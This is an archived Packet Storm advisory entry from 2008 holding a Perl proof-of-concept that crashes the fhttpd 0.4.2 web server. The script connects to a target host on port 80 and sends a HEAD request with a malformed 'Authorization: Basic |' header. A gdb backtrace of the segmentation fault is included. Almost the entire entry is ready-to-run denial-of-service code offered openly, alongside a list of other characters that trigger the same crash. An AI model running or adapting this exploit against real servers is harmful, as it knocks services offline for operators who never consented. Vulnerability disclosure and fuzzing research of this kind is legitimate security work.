fhttpd-dos.txt

2008-09-19T00:00:00
ID PACKETSTORM:70123
Type packetstorm
Reporter Jeremy Brown
Modified 2008-09-19T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
#Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com]  
#http://www.fhttpd.org / fhttpd-0.4.2.tar.gz (WARNING: VERY OLD)  
#Program received signal SIGSEGV, Segmentation fault.  
#0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69  
#69 if(c2!=-2) c3=rptr[3]; else c3=-2;  
#(gdb) bt  
#0 0x0804b42d in un64 (s=0x809b2d2 "") at util.cc:69  
#1 0x080672bf in ControlFTPServerApp::process_get_line (this=0x8089678,   
  
  
  
#fhttpd.cc:2044  
#3 0x08060190 in Wheel::onepass (this=0x8081338) at sockobj.cc:1953  
#4 0x08073c14 in main (argc=1, argv=0xbffff464, env=0xbffff46c) at fhttpd.cc:3645  
#One of the near useless bugs found by my fuzzer with http fuzz capabilities  
# Crashes with { } | [ ] \ ; : ' " < > ? , . OR with just a space after Basic:  
  
use IO::Socket;  
  
if(@ARGV < 1)  
{  
  
print "\nUsage: host\n\n";  
exit(1);  
  
}  
  
$host = $ARGV[0];  
$port = 80;  
  
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host, PeerPort=>$port)  
or die "\nError: socket\n\n";  
  
print $sock "HEAD / HTTP/1.1\r\nAuthorization: Basic |\r\n\r\n";  
close($sock);  
  
  
`